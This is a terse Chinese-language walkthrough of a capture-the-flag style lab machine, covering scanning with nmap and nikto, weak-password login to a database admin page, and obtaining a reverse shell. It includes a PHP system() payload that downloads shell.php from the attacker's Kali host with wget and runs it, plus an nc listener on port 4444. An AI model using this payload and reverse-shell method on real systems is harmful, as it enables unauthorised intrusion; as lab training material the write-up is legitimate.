目录
环境配置
kali 192.168.20.128
靶机 192.168.20.133
链接：https://pan.baidu.com/s/1iz-wj3MzwyhKjKUGZrLK-g
提取码：u6tg
信息探测
nmap -A -v -T4 192.168.20.133
探测敏感信息
nikto -host http://192.168.20.133
发现疑似页面dbadmin
深入挖掘
漏洞扫描
开始扫描
查看攻击路径和攻击方式
查看URL
敏感页面上传shell
弱口令登录
登陆成功
使用webshell
使用/usr/share/webshells/PHP/下的webshell
将kali中的webshel文件放在web网站主目录下面
修改shell.PHP里面的内容
新建数据库
新建数据表
新建字段
<?PHP system("cd /tmp;wget http://192.168.20.128/shell.php;chmod +x shell.PHP;PHP shell.PHP");?>
注意：没安装apache;wget不能下载kali机器的shell.PHP
安装apache2
apt-get install apache2
service apache2 start
监听反弹shell
创建监听端
nc -lvvp 4444
执行文件反弹shell
优化终端
